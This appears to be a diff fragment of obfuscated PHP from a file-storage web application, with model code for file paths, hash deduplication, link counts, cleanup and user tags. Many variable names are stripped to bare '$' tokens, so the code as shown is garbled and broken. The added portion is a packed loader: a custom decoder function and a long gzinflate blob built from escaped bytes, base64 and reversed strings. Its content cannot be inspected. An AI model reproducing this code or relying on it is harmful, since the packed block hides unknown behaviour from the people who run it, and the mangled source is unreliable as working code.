$[798])) { IO::mkfile($ . $[798]); } Cache::set($ك, 1, 3600 * 2); } return $ӥ; } public function makeFilePath($, $ٖ, $ = false, $ٻ = false) { $ =& $_SERVER[㫙]; $ = Model($[771])->get($[1870]); $ = KodIO::defaultIO() . date($[1871]); $ۙ = $ . rand_string(5) . short_id(100); $ = str_replace($[8], $[11], KodIO::clear($)); $񮄻 = $ٖ->ext($); if (!$) { $ = $[1872]; } switch ($) { case $[1873]: $ۙ = $ۙ . $[10] . $ٖ->ext($); if ($񮄻 == $[1811]) { $ۙ .= $[1544]; } break; case $[1874]: $ = Model($[771])->get($[772]); $΂ = substr(md5($[773] . $ . date($[749])), 0, 8); $ᦸ = KodIO::defaultDriver(); $ = $[1223] . $ᦸ[$[392]] . $[410] . date($[1875]) . $΂ . $[8]; if ($񮄻 == $[1811]) { $ .= $[1544]; } $δ = $[1876] . $ . $; CacheLock::lock($δ); $ۙ = $ . $; if (IO::exist($ . $)) { $͢ = substr($, 0, strlen($) - strlen($񮄻)); $ڥζ = $ٻ ? substr($ٻ, 0, 5) : ($ ? substr($, 0, 5) : rand_string(5)); $ۙ = $ . $͢ . $ڥζ . $[10] . $񮄻; } if (IO::isTypeObject($ۙ) && !IO::isUploadServer($ۙ)) { if (IO::exist($ۙ)) { return $ۙ; } $ = IO::setContent($ۙ, $[12]); if (!$) { show_json($[1877], !1); } } CacheLock::unlock($δ); break; case $[1872]: break; default: break; } return $ۙ; } public function addFileByRemote($׍, $, $é = array()) { $ =& $_SERVER[㫙]; if (!IO::exist($׍)) { return !1; } $ְ = $é[$[169]] ? $é[$[169]] : $[12]; $ = IO::hashMd5($׍, $ְ); $Ӡ = KodIO::defaultDriver(); $ = array($[579] => IO::size($׍), $[1878] => 1, $[421] => $, $[809] => $Ӡ[$[392]], $[422] => $׍, $[1879] => $é[$[170]] ? $é[$[170]] : IO::hashSimple($׍), $[1880] => $ ? $ : $ְ); if ($ҭ = $this->addFileCheckExist($[$[170]], $[$[169]], $[$[80]])) { return $ҭ; } return $this->addFileData($); } private function addFileData($ʐ) { $ =& $_SERVER[㫙]; if (!$ʐ) { return !1; } $ʐ[$[80]] = intval($ʐ[$[80]]); if (!$ʐ[$[80]] && strlen($ʐ[$[170]]) > 32) { $ʐ[$[80]] = intval(substr($ʐ[$[170]], 32)); } $ = $this->add($ʐ); return $this->find($); } public function addFile($, $, $Ʌ = false) { $ሆ =& $_SERVER[㫙]; $Պ = IO::hashSimple($); $Ⱦ̧ = IO::size($); $ = $Ⱦ̧ <= 1024 * 1024 * 10 ? IO::hashMd5($) : $ሆ[12]; $ū = $ሆ[1881] . $Պ; CacheLock::lock($ū); if ($ && $Պ) { $͂ = $this->addFileCheckExist($Պ, $, $Ⱦ̧); if ($͂) { CacheLock::unlock($ū); return $͂; } } $ = $this->addFileMake($, $Ⱦ̧, $Պ, $, $, $Ʌ); $ = $this->addFileData($); CacheLock::unlock($ū); if (!$ && $) { $this->fileMd5Check($); } return $; } private function fileMd5Check($ߡ) { $ =& $_SERVER[㫙]; $ = array($ߡ[$[467]], $ߡ[$[78]]); $ = $[1882] . $ߡ[$[78]]; $Ǐ = $[1883] . $ߡ[$[467]]; $̂ = TaskQueue::add($[1884], $, $, $Ǐ); if (!$̂) { $this->fileMd5Set($ߡ[$[467]], $ߡ[$[78]]); } else { TaskQueue::addSubmit(); } } public function fileMd5Set($҃, $) { $اӱ =& $_SERVER[㫙]; $簾 = $this->find($҃); if (!$簾 || $簾[$اӱ[169]]) { return; } $Ę = IO::hashMd5($); if (!$Ę) { return $اӱ[12]; } $this->where(array($اӱ[467] => $҃))->save(array($اӱ[169] => $Ę)); } public function addFileMake($å, $Μ, $߁, $ˁ, $ҿ, $龷) { $ =& $_SERVER[㫙]; $儷 = $this->createFileName($ҿ, $߁, $ˁ); $ۥų = get_path_father($儷); $ = get_path_this($儷); if ($龷) { $ = IO::move($å, $ۥų, !1, $); } else { $ = IO::copy($å, $ۥų, !1, $); } if (!$) { return !1; } $ = KodIO::defaultDriver(); $˰裕 = array($[579] => $Μ, $[1878] => 1, $[421] => $ҿ, $[809] => $[$[392]], $[422] => $儷, $[1879] => $߁, $[1880] => $ˁ); return $˰裕; } public function addFileCheckExist($ə, $ݤ, $ȸ) { $ =& $_SERVER[㫙]; $ = $this->findByHash($ə, $ݤ); if (!$) { return !1; } $Րś = array($[1878] => intval($[$[1885]]) + 1, $[579] => $ȸ); $this->where(array($[468] => $[$[467]]))->save($Րś); return $; } public function remove($ٷ) { $this->linkCountChange($ٷ, !1); $this->clearEmpty(); return !0; } public function linkAdd($񕉻؟) { $this->linkCountChange($񕉻؟, !0); } public function linkCountChange($ϖ, $) { $ =& $_SERVER[㫙]; if (!$ϖ) { return; } if (!is_array($ϖ)) { $ϖ = array($ϖ); } $ = array(); foreach ($ϖ as $Ө) { $ʈ = $Ө . $[12]; if (!$[$ʈ]) { $[$ʈ] = 0; } $[$ʈ]++; } $ = array(); foreach ($ as $Ө => $ݞ) { $ʈ = $ݞ . $[12]; if (!$[$ʈ]) { $[$ʈ] = array(); } $[$ʈ][] = $Ө; } foreach ($ as $ݞ => $) { if (!$) { continue; } $ݞ = $ ? $ݞ : -intval($ݞ); $ = array($[467] => array($[7], $)); if ($ݞ < 0) { $[$[1885]] = array($[1011], abs($ݞ)); } $this->where($)->setAdd($[1885], $ݞ); } } public function findByHash($, $ = false) { $ =& $_SERVER[㫙]; if (!$ && !$) { return !1; } $䗫 = array($[1879] => $); if ($) { $䗫 = array($[1880] => $); } return $this->order($[1886])->where($䗫)->find(); } public function clearEmpty($ = 0) { $ =& $_SERVER[㫙]; $͉ = time() - 3600 * 24 * $; $ = $[1887] . $͉; $ = $this->where($)->select(); if (!$) { return; } $󆊅 = new Task($[1888], $[12], count($)); foreach ($ as $˩) { $󆊅->update(1); $this->resetFile($˩); } $󆊅->end(); } public function resetFile($ö) { $̮ =& $_SERVER[㫙]; $ڃ = array($̮[468] => $ö[$̮[467]]); $ = Model($̮[1321])->where($ڃ)->count(); $ݨ = Model($̮[1889])->where($ڃ)->count(); $ = intval($) + intval($ݨ); if ($ == 0) { IO::remove($ö[$̮[78]]); Model($̮[1890])->delete($ö[$̮[467]]); $this->where($ڃ)->delete(); $this->metaSet($ö[$̮[467]], null, null); return; } if ($ö[$̮[1885]] != $) { $this->where($ڃ)->save(array($̮[1878] => $)); } } public function storageInfo($߯ = false) { $ؒ =& $_SERVER[㫙]; $ = $this->count() + 0.0; $զ = 0; $嗖 = 1; $兎 = 0; $ = 5000; for ($ķ = 0; $ķ < $; $ķ = $ķ + $) { $ޔǏ = $this->limit($ķ, $ķ + $)->select(); foreach ($ޔǏ as $) { $嗖 += $[$ؒ[80]] * $[$ؒ[1885]]; $զ += $[$ؒ[80]] * ($[$ؒ[1885]] - 1); $兎 += $[$ؒ[1885]]; } } $ܴ = array($ؒ[1891] => $嗖, $ؒ[1892] => $զ, $ؒ[1893] => $զ / $嗖, $ؒ[84] => $, $ؒ[1894] => $兎); return $ܴ; } } goto a⩨޾; b̷: class UserTagSourceModel extends ModelBase { protected $tableName = "\165\163\145\162\x5f\x66\x61\166"; protected function cacheFunctionAlias($Ȝ) { $҇ =& $_SERVER[㫙]; return array($҇[1926] => array(USER_ID, $҇[1927])); } protected function listData() { $蚥 =& $_SERVER[㫙]; $Ԩ = array($蚥[1641] => USER_ID, $蚥[483] => array($蚥[1930], 0)); $ = $蚥[1932]; $ = $this->field($)->where($Ԩ)->order($蚥[1933])->select(); return $ ? $ : array(); } protected function listByTag($ȭ) { } protected function addToTag($, $Ø޹) { $ͺƧ =& $_SERVER[㫙]; if (!Model($ͺƧ[2067])->listData($Ø޹) || !Model($ͺƧ[826])->pathInfo($)) { return !1; } $ԋ = array($ͺƧ[1641] => USER_ID, $ͺƧ[483] => $Ø޹, $ͺƧ[422] => $, $ͺƧ[423] => $ͺƧ[417], $ͺƧ[421] => $ͺƧ[12], $ͺƧ[1822] => 0); if ($this->where($ԋ)->find()) { return !1; } return $this->add($ԋ); } protected function removeFromTag($٤, $暁) { $܅ =& $_SERVER[㫙]; if (!Model($܅[2067])->listData($暁)) { return !1; } if (is_array($٤)) { $٤ = array($܅[7], $٤); } $ = array($܅[1641] => USER_ID, $܅[483] => $暁, $܅[423] => $܅[417], $܅[422] => $٤); return $this->where($)->delete(); } protected function removeByTag($ӭ) { $ =& $_SERVER[㫙]; if (!$ӭ) { return !1; } $ΐ = array($[1641] => USER_ID, $[483] => $ӭ); return $this->where($ΐ)->delete(); } protected function removeBySource($) { $ވ =& $_SERVER[㫙]; if (is_array($)) { $ = array($ވ[7], $); } $ϻ = array($ވ[1641] => USER_ID, $ވ[422] => $, $ވ[483] => array($ވ[1010], 0)); return $this->where($ϻ)->delete(); } } \ No newline at end of file + goto dۤ; dۤ: if (!function_exists('_kodDe')) { function _kodDe($str) { $str = base64_decode($str); $l = strlen($str); $result = ''; $offset = ord($str[0]) - 30; for ($i = 1; $i < $l; $i += 2) { if ($i + 1 < $l) { $result .= chr(ord($str[$i + 1]) + $offset); $result .= chr(ord($str[$i]) + $offset); } else { $result .= chr(ord($str[$i]) + $offset); } } return $result; } } define(base64_decode('gomKxtfB'), "\xcc\xe9\xee\x81\xf4\xc4"); $_SERVER[] = explode(base64_decode('fAR8A3wC'), gzinflate(substr("\37\213\10\0\0\0\0\0\0\23\305\275\7\230\33\325\325\60\354\120\102\13\360\362\322\103\200\141\215\331\135\133\145\275\356\153\257\215\166\127\273\53\254\225\26\111\353".base64_decode('gteWR9JIGq+k0c6MtrhQQwCDTS+hhJZQQozpvQaSQOgdQnhD8RpDIIQaavLdcm4=')."\231\221\26\336\377\371\277\347\371\14\266\346\236\333\357\75\367\334\163\316\75\367\334\55\147\134\160\307\206\17\326\356\260\166\373\265\333\175\271\345\305\113\257\77\221\176\303".base64_decode('f+T70NN3nkD+7H36+oaG7pm7Ton85MzbNqnbPfzlo7c9eemLbz7520Rm/j2X5g4=')."\231\360\335\244\310\267\55\50\45\315\330\102\177\224\222\141\53\332\210\156\331\26\5\244\215\122\126\317\321\157\275\104\177\375\364\247\57\26\66\265\242\141\153\64\350\243\77"."\111\150\24\371\327\32\54\350\54\76\31\211\46\222\361\276\336\336\140\54\1\211\132\344\370\242\221\201\257\262\152\252\105\250\277\254\231\26\152\215\134\134\262\154\224\265\222".base64_decode('AyIAGdVWU6oFJXW0JTuCveHo0mRiaW8QUqSSgxXNHKUh8hm3VdNO6EWNpxg2ebs=')."\xda\x82\x5d\xa1\x88\x92\x88\x5\x22\xf1\x40\x7b\x22\x14\x8d\x50\x70\x7b\xb4\xa7\x27\x94\xa8\x86\xc7\xa2\xe1\x70\x5b\xa0\x7d\x61\x75\x4c\x6f\x2c\xd0\xd5\x13\x50\x50\xfb\xa\x5a\x52\x2f\x65"."\x8d\x6\x65\x25\x8d\x59\xa9\x34\xd2\x8f\x4e\x5d\x2b\x64\xe8\x67\x49\x65\xcd\xb1\x47\xcb\xf0\x95\xe0\x5f\x68\x9a\x4a\x95\x42\x81\x6\x22\xfc\x2b\xa3\x65\xd5\x4a\x1\x46\xab\x43\xe\x94\x4d"."\xbd\xa8\xb2\x4e\x2f\xd4\x46\x39\x94\x7e\xa8\x15\xdb\xd0\x4b\x69\x1a\x8\x8e\xd8\xa6\x2a\xe0\xa8\xad\x69\x34\xd1\x5a\x9\x8a\x8a\x7\xc3\xc1\xf6\x84\x82\x1b\xa8\x74\xc6\xa2\x3d\xa\x4c\x42".base64_decode('UbVszVQWdwdjQQU3urWe9LVeAXyJoKFQAuGwMl4JtlYss2JonhqFRWMdwZjStlQ=')."\x11\x23\x94\x36\x8a\x45\xa3\xe4\x43\xa5\xa0\x99\xb4\xa5\xa6\x6\x63\x31\xfa\xe1\x1\xf4\xe\x87\xf0\xa4\x41\x20\xda\xd9\x19\xf\xf2\x10\x74\xee\xe8\x30\x6a\xc9\x34\xc0\x4f\x47\x28\x93\x2d".base64_decode('2MkhtVBhaDpAf+vhB34NC1B3UC/pFUBTKMIw+LKCjwpLrTGIloGPIspvwMpDy3A=')."\x88\x7e\xb6\xce\xa7\xbf\x73\x21\x51\x2a\x89\xe3\x34\xd3\x4e\x6a\xa5\xb4\x91\xd1\x4b\xb0\x58\x17\x0\xd2\xa9\x76\xbe\xc3\xd4\x51\x2\x28\xc9\xf0\xa5\x8d\xf2\x68\x8f\x31\x4\xbd\xc8\xea\x5".base64_decode('LcxXWNYoZDRThMsouxwD3dFXS7kjlaKchAfTeb2QMdnC/L6UaOnr2VGxAC2jYqY=')."\265\20\132\42\42\157\57\157\311\124\110\244\331\66\352\255\305\372\325\127\56\30\152\46\256\231\122\137\73\121\306\150\305\226\201\25\222\254\323\60\213\35\210\124\100\375\150"."\231\350\175\65\42\6\330\102\311\110\103\350\157\130\166\202\367\337\313\227\35\211\376\151\4\132\330\17\155\312\153\205\102\122\33\321\140\45\25\63\63\54\326\111\277\225\322".base64_decode('S34EocFQNJlXrXxPZkaS5GIkNqON+Mr5MixzvrL7HZiOpyVi2EGJUBeMtFqQu0g=').base64_decode('v/O2XY5rpQweCeiKMVwiI1XWNEjU4VEySo+yVOlu0VsslrFY4F+sdxxmcaA9Aqg=')."\122\7\24\243\134\56\350\151\325\326\215\222\337\110\333\232\355\265\154\123\123\41\165\40\235\326\54\313\333\156\224\154\323\50\170\3\205\202\61\354\215\232\172\116\57\265\50"."\223\201\262\242\110\264\202\275\230\332\265\300\262\254\233\253\140\44\300\113\176\162\153\305\316\172\147\263\345\306\123\233\152\311\312\152\246\67\10\313\240\105\101\343\315\111\36".base64_decode('S9ahW2XD0nHzWhTVttV0HpMLUXwro4Fl3dQsVr/S1ZOAglAOzdtrqrmi2qKUKyk=')."\324\133\130\152\65\140\64\65\164\267\105\111\343\240\107\51\126\54\333\153\152\210\226\350\150\277\202\171\11\145\275\75\170\35\350\132\306\33\107\44\27\300\323\232\246\53\150".base64_decode('qhUWR6HdiURvMtSJ9tRIMNkTSLR3Q7NtNcfaHEaElBfJgEu8aD1gZIigvgpgrzE=').base64_decode('rJmo4rbRFmXAyKSMER+LwonjaMGzxHgKy7Y3ppZyeHxSo7YGKGMN5ZyDHdZKOTs=').base64_decode('zzLGg7FFwVgyHu1MLA7EYDcuoZkfYVXhogvemJZBQ5+2WT61jEeNpcHIjOeKxWI=')."\x4\x67\x71\xe1\x50\x17\x1e\x98\xe\xaf\x85\x12\x79\xe5\x54\xac\xec\xb0\x5e\xd4\x71\xdb\x6d\x1e\x43\x46\x12\x6d\xd5\x5d\xd0\x20\x3f\xe9\x50\x6b\x7f\x7e\x72\x43\x7f\x66\x4a\xa3\x17\xfd\x3b"."\271\161\131\177\207\157\362\362\5\176\135\344\361\117\365\115\125\232\233\146\52\275\210\167\320\325\202\2\235\256\112\321\244\104\27\72\207\105\140\150\311\50\151\337\63\70\170".strrev('r.sTT! ,zȥl+jwD=\'߁Xk')."\103\75\206\251\71\41\202\374\57\326\63\214\36\343\140\267\246\347\362\320\167\35\227\226\66\12\206\251\26\60\125\142\10\256\61\112\221\323\263\60\167\224\0\212\100\134\57"."\226\31\235\262\363\225\142\112\372\4\112\153\41\134\140\373\104\336\340\373\224\141\302\127\213\37\22\116\152\356\144\224\326\37\237\206\376\27\144\65\143\24\125\306\314\22\22"."\244\145\50\15\242\240\311\216\230\156\115\25\33\237\155\332\6\206\232\216\44\75\232\235\67\140\222\162\32\153\122\205\267\215\265\62\243\25\64\66\32\171\215\221\350\46\110"."\x86\xb6\x18\x3e\x56\x59\x4e\xae\x11\xeb\x85\xa0\x62\x6f\xd4\xad\x18\xca\x89\x59\x21\x16\x5e\x8c\x79\x55\x1\xb0\x79\xd2\x2\xda\x1d\xa2\xa9\x55\x68\x29\xd1\x70\x52\xb7\x3a\xa5\x5d\x3c\x69"."\220\70\324\170\125\244\357\65\265\254\16\13\262\204\146\254\107\65\7\130\6\64\103\142\33\301\1\251\260\316\276\160\70\331\36\215\44\20\377\113\41\213\143\241\104\220\341".strrev('AQUCy:Al_jf5IHqh#h').base64_decode('CMrvIvwjXrW42ltEg+LlDXXuj0pC3mZDMIuCkONhRCIM25h7o3HIsABDEdOT0kw=').base64_decode('qKy3D6KKEgZ1BQG4K9trVWB5AovjjAhXUHpTX62KLi1g7WEdKRYEH+fslVeMfKI=').strrev('B׈(Ipy;ChER#5DQPvY;')."\260\276\240\53\6\111\155\275\261\140\147\150\11\17\166\206\202\341\216\170\262\75\320\336\55\322\104\2\75\20\110\146\261\334\144\371\235\351\223\210\240\306\271\364\225\34\302"."\222\44\33\254\244\103\340\111\62\126\76\51\160\10\155\234\32\140\32\164\27\313\257\244\47\40\275\246\215\12\43\367\234\311\53\62\32\122\124\141\21\251\154\123\154\240\77"."\215\112\40\256\330\345\44\247\26\251\121\376\111\272\301\302\210\235\203\372\25\40\356\125\55\110\342\64\155\132\226\323\351\332\200\100\326\346\153\336\25\106\310\57\342\320\14"."\x4\x88\xa0\x8c\x30\x81\xcc\x8\x54\xa3\xa3\xa5\x64\xda\x1\xd6\x9c\xac\x10\x52\x93\x51\x24\xcd\x7\xb0\x88\x9b\x5c\x1c\x8b\x46\xba\x20\xc3\x70\x5e\x63\xd\x8\xc1\xf0\x37\x30\x46\xa\x24".base64_decode('XVsQLMQFqUzkEYO+ymBDuZb+HEF/EFMHlWslNuopTLvZ7sM+smg1MLprVHhtKcM=')."\50\260\165\212\170\1\116\60\270\244\274\312\142\110\62\302\110\315\24\266\201\301\376\221\210\56\14\106\222\14\263\150\110\302\106\12\100\262\147\64\6\3\142\33\3\114\16"."\xa2\x91\xb1\x60\x9c\xad\x72\x53\x1b\xac\xe8\x6c\xb8\xfc\xbe\x29\x80\xc5\x1a\xda\xa2\xa0\x7a\xff\x8a\xfe\xe1\x29\xd\xcb\xbc\x53\x7c\xcb\xd1\x47\xe3\xe4\x23\x69\x10\x42\xfd\x3e\x47\xf0\x70"."\xc8\x5f\x31\x79\x6e\xcc\x22\x35\x58\xb\x1a\x5b\xfa\xfd\xfd\xfe\x86\x5\x2d\xcb\x2\xde\xd5\xaa\x77\x75\x93\x77\x8e\x77\xf9\x94\x7e\x5f\xe3\x14\x0\x2c\x5f\xd3\xec\x99\xbe\xe\x27\x40\x9"."\x17\x4c\x5c\x8e\x7e\x5a\xfb\x17\x4c\xea\xf7\x1e\x71\xec\xca\x23\x97\xf5\x2f\xaf\x6f\x99\x72\x58\xbf\x6f\x62\xff\xf0\xf2\xc9\x8d\xb\x58\x3d\xe9\x8a\x89\x64\xbc\xf4\x28\x6f\x6a\x66\x4a\x3"._kodDe('LQNbjlODaRIDQ2oH80ui/CCL2dyKDQmSvgSHhyrsah2YEVCE1t8xAat1XGDZmI/8').strrev('4#ỉDڡs!/\\@RuzҔY=x').base64_decode('sroJ2Fkp6YNMZ1DSBuHDsBl+pzR7WGPogeCOMEIOJtahKClUIEwg1IAFIo6jHJk=')."\364\162\22\163\140\303\74\224\321\112\60\117\273\100\152\53\255\226\265\270\324\303\144\62\21\150\13\7\223\214\302\0\45\146\141\102\25\333\270\176\15\165\115\120\124\106\37"."\322\202\135\47\222\11\254\174\153\260\240\20\302\240\150\246\151\230\55\104\325\150\125\312\230\165\123\320\214\243\261\125\220\274\255\264\316\127\350\220\103\276\244\74\1\145\225"."\xf1\x9\x58\x12\xd6\xc4\xa2\xc7\x14\xa\xda\x54\x16\x33\x64\x21\x86\x8b\x71\x3f\xfe\x86\xfe\xfe\xca\x32\x2d\xb3\x7c\x19\x42\x7c\xd5\x9b\x5d\xbe\x66\xda\xba\x46\xc6\xd1\xfb\xfb\xd1\x1f\x16"."\10\324\120\172\45\71\65\114\242\375\331\207\333\301\325\27\216\0\217\246\101\303\344\54\122\331\301\144\333\206\255\26\34\105\44\60\204\221\46\266\161\203\300\117\147\73\54"."\x28\x16\xde\xca\x25\x6d\x21\x21\xa7\x11\xae\x10\xe3\x7a\xb\x49\x5d\x85\x73\xc4\x35\xdb\xc7\x53\x78\xa4\xc8\x24\xa\x3b\x34\xb7\xad\x75\x8c\xd8\x97\xd0\x72\x6a\x97\xb6\x3a\xaa\x76\x89\x8f".base64_decode('WrZWdKgYLU010/nOSqFgc1a/oA9ADbBWVtZK22mYTNydDPXWTa6VMFQqIeFUxi0=').base64_decode('sat2BRD/klAamDpOCUWUtmg0HAxEFLyBw8aDuIN4sDeAdi0sOMcTwRjD3ywIuqE=')."\222\33\302\367\112\55\211\166\351\44\160\225\260\147\265\5\342\241\366\144\157\200\361\102\152\271\354\267\62\3\226\37\67\134\37\322\302\172\312\217\65\77\130\63\355\113\261".base64_decode('RT8dpjevpQeSagqtASblVUoFvTQgNwF20g4v6/gSbwjkO/6hZxgiIWpsMygo0iA=')."\204\271\134\17\126\35\171\60\233\343\101\343\351\301\262\233\107\210\30\36\241\211\363\14\351\332\60\371\340\234\276\7\4\0\217\255\232\150\34\60\207\16\237\241\16\217\156"."\165\20\351\206\124\100\242\130\203\354\74\126\272\24\324\121\17\155\134\130\33\322\12\36\326\64\17\153\261\207\111\47\36\42\155\166\100\263\372\320\312\206\146\221\117\104\300"."\363\36\214\313\170\51\171\204\246\20\252\223\304\41\217\20\225\74\71\323\250\224\173\131\115\122\210\66\6\0\242\245\34\20\63\14\333\303\304\137\117\265\144\134\173\354\152"."\67\235\14\266\273\156\230\50\34\125\75\44\77\60\63\325\203\357\224\360\326\320\22\101\123\260\216\355\256\216\64\142\56\5\226\213\20\36\155\361\265\110\20\14\334\241\116".base64_decode('dUhGs1oox9CdoafQ2QvNsuC53bKuWy+MK02oubhUna3mWF01Yul3TEuPpoW83CE=')."\111\341\316\20\237\0\262\122\152\141\171\355\211\345\230\313\347\141\327\135\166\141\3\311\320\231\117\252\143\25\374\360\372\203\236\20\172\33\55\13\216\205\66\26\323\374\70"."\242\36\235\5\25\266\310\146\71\32\250\275\307\31\302\313\307\107\250\77\71\104\211\163\345\111\70\330\231\120\216\212\42\312\251\33\111\232\47\211\23\53\344\37\243\244\70"."\312\146\303\245\264\222\170\21\126\113\31\12\131\211\266\225\225\255\165\254\222\72\107\166\201\13\316\106\170\130\120\251\306\56\74\334\362\40\340\215\222\164\137\154\205\14\24"."\25\73\157\5\330\114\325\2\201\17\353\300\341\113\143\60\61\265\62\362\221\371\165\3\130\273\34\365\342\240\130\70\14\45\24\134\201\107\142\214\60\371\360\212\45\40\5"."\xe1\xc7\x39\xf2\x2e\xc4\x74\x6d\xdb\x78\xa4\x7a\xf5\xd2\xa8\x5e\x92\x35\x67\x2\x2a\x76\x7e\xc1\x78\xe0\x85\xec\xd2\xf5\x75\x8c\xf7\x4d\x77\xb\xa1\x99\xf3\x80\xc6\xce\x83\xb7\x28\x89\x29"."\20\152\41\324\172\262\117\212\266\103\111\256\226\63\112\12\235\356\213\7\143\111\327\102\6\304\317\253\246\30\123\106\161\360\262\27\372\110\234\104\4\245\144\131\165\110\60".base64_decode('RY48Et2w7FHWevnTWSgNdowX6OYKlVpBmSTpVphv785v0tOEUTOIlXrs2yD4z84=')."\307\35\373\75\121\111\64\60\30\160\74\111\111\121\301\51\225\63\37\155\140\200\23\173\44\105\24\320\26\147\372\360\142\352\302\73\226\274\131\160\342\156\341\335\121\306\320".strrev('yõ(Y"rq!ll@RP98iD@V')."\161\316\7\270\23\265\23\141\327\226\207\136\332\304\245\201\162\360\33\125\40\51\217\233\363\160\101\135\101\367\170\303\126\105\101\114\361\255\146\212\172\311\147\322\115\317\207"."\104\30\70\204\366\64\111\54\231\240\124\153\54\262\265\300\46\271\316\205\0\266\141\40\271\330\364\231\250\146\321\40\220\112\52\174\32\226\103\253\110\121\42\235\104\54\111"."\114\330\140\22\66\136\377\301\214\156\143\10\336\345\14\246\55\27\11\245\363\140\16\223\251\57\331\104\252\46\101\110\34\236\111\216\224\265\266\172\337\144\262\73\373\152\37".strrev('5tH@_ Bi4Q(H)(,9%rs')."\xf9\xa\x28\x85\x74\x8a\x13\xea\x8\x98\x26\x43\x1f\xda\x39\xac\xd8\x47\x40\x19\x84\xe9\x52\x9c\xe1\x7e\xad\x8d\x86\x16\x1e\x1c\x12\xc6\x1e\xb4\x28\x5c\xb1\x8f\xae\x44\x9f\x9a\xc9\x44\xd9"."\261\225\374\135\235\124\326\104\326\56\210\130\336\360\242\244\120\355\344\201\102\101\34\316\273\303\343\146\241\213\116\316\44\103\306\315\326\111\104\137\46\226\325\202\161\231\103".base64_decode('ZqidDLQwlXAz2k5aOj73MQ6xERNaO4x26va8XtIsvuGaVi3a8f+Yza2eA7xWxkM=')."\x1c\x1c\x27\x69\xaf\xb1\xf9\xd9\x90\x63\x77\xe5\x2a\x5a\x41\x9a\x24\x6\x82\x6c\xc6\x49\xdb\xc1\xfa\xc4\x48\x19\xd2\xe2\x71\xe0\x3\x5a\xac\xb4\xcf\x78\x7b\x8\x45\xd1\x62\xac\x8d\xa1\xee"."\164\32\123\122\23\72\67\302\267\70\71\23\302\50\314\67\215\127\46\213\346\105\11\46\353\355\373\256\371\350\252\177\320\357\47\306\356\275\376\356\315\100\162\52\305\301\162"."\1\372\15\147\106\350\357\366\325\326\201\47\57\136\143\34\364\247\275\166\372\213\377\355\107\147\136\171\335\141\301\365\57\236\324\323\167\321\333\355\277\356\70\55\32\272\343".base64_decode('r1/edN/rE6N/vbf1Hx+e9uv3jzvjjtM+7Vq/T+WEe/LP/dT77HbFDyZ4/3t64ME=')."\236\317\37\273\163\333\377\174\370\217\67\16\321\176\163\316\25\257\377\362\262\67\56\373\345\167\117\245\247\105\37\174\346\330\7\147\165\214\114\350\335\77\262\166\333\163\117"."\x4e\xb8\xf8\xa2\x23\xe7\x4f\xbb\xfd\xf3\xb7\x8e\xb9\x63\x65\xc6\xa\x3e\x34\xe7\xa1\xca\xbd\xf\x3c\xf2\x27\xdf\x27\xa7\x2c\x4a\xfd\xac\xe7\xe3\xff\x14\x83\x57\x6c\xfc\xf8\xa2\x33\x1b\x6e".base64_decode('/kV79+yzZ/u2D0+uPz469ezXH+/Z496e7YphNZxacMzzm4b2uOH+B4ZeLZb/uH4=').strrev('͞F qqZNUޗ߂fq[rX]')."\x23\xb7\xde\xbe\x7c\xd5\xaa\xc9\x4f\xfc\x4b\x79\xfc\xd2\xa5\xe5\x8b\x1f\xf6\xdd\x7e\xd3\x3b\x93\x7e\x57\xf7\xe2\xe7\xeb\x8f\x78\xf1\xca\x9b\x6f\xbe\xe6\xb1\x89\x4f\xae\x7d\xe1\xd3\xca\xc1"."\xab\xf\xc9\x5d\x9e\x4e\x17\x32\x9f\xcf\x7b\xec\xe1\xdd\x5f\xba\xe1\xc0\x7f\xeb\xc7\x1c\xb2\x69\x69\x43\xf3\x2b\xbf\x7a\xe6\x31\xe5\xc2\x59\x2f\xcf\xda\x69\xce\xd3\xd7\xdf\xb6\xd7\x45\xed"."\277\177\343\127\47\174\275\363\107\353\67\171\215\266\135\257\230\260\333\335\57\365\251\357\374\365\352\147\113\47\177\155\156\334\337\334\343\370\335\373\356\331\256\365\262\27\366"."\xf8\x79\xe7\xe8\xe\x9f\xf\x1e\x78\x50\x5b\xc7\xbf\x4e\x7d\xed\x88\xf\xe6\xdb\x93\xf7\xf9\xf1\xaf\x66\xfd\xe1\xd1\x6d\x5f\x77\x9f\xfa\xea\xb3\x1f\x7f\xf5\xd8\x6d\xa7\x76\x1d\xf4\xf6\x4d".strrev('wӷ3U5Y[gv{_͗vc>G').base64_decode('n93+gDvGPuvqPWZW5rHBew944dWVRymFu3vvSe+w8wfvrFvStnP0m0Jk6as7PXI=').base64_decode('lnfTNVffox1gXr/9tad8sH7ggAM/uWWHG7bcM/W+fV/f/Uh1970P2nls93mV//o=').strrev('o[ui8nkl|,ek/O')."\174\263\261\375\260\302\61\117\317\176\374\265\131\57\357\363\314\216\237\256\77\275\156\305\257\43\217\352\273\75\371\363\347\373\136\377\315\247\167\26\157\335\373\360\153\203\127".base64_decode('/PGVJ0afvHrk7P85c8I29fJtN+1U2e69nsiez7/5i1Jk+qYtD//msEdOPPiNx7c=')."\x9b\x76\xc1\x1e\x27\xfc\xf7\x59\x63\x67\x9f\x7c\xc6\x8e\x2f\xde\xbf\xe1\x6f\xd6\x9\x7b\x9c\x7f\xc9\xd2\x95\x33\xdf\x3a\x70\x9f\xd9\xaf\xdc\x9c\x3e\xa6\x7d\x70\xfe\xaf\x5f\x34\x7f\xd1\xba".base64_decode('16Yj/nl027T5+53WeHNH70O3tx3+xcdLVhz7pFm34oDo2gOuufGWq7bP3vTe5Js=')."\xef\xec\x3e\xe9\xcd\x1f\xbf\x3e\xf1\x83\x87\xee\x7c\x21\xed\xf9\x76\xc2\xef\xed\xeb\xf2\xff\x7d\xcd\x9f\x9b\x36\x74\x9d\xb3\xfb\xd9\xbf\xb9\x73\xe1\xfd\x9d\x4b\x7\x2e\xfc\xba\xf2\x52\xff".base64_decode('aUc8PfekR9NDiy+7dYeD37nmvDdfOWHWPQ+fevTDL2496ejDd/rJxPX6zZ3xv9c=')."\x2d\x5b\x93\x7d\xef\x26\x23\xb8\xf4\xfc\x69\xd3\xff\x3c\xfb\xa7\xfb\xe6\x6f\xbf\x6f\xc2\xde\x6d\x57\xff\xf9\xd8\x77\x8e\x9c\x32\xe3\x92\x4d\xe9\x4d\xcf\xbd\x7d\xdf\x3b\xef\xdf\xf1\x72\xf1"."\366\257\327\107\177\157\236\164\374\264\63\106\167\265\267\73\347\275\247\116\173\365\370\343\67\315\71\372\367\237\136\175\332\221\227\314\217\134\174\366\263\147\355\366\331\135\237"."\xd4\x5d\xfe\xd0\xca\xbf\x96\xc3\x87\x7d\x12\x57\xaf\xb8\x69\xde\xa6\xa3\x3e\xdf\xe3\xaa\xbf\x1f\xf4\xe6\x2f\x77\xb8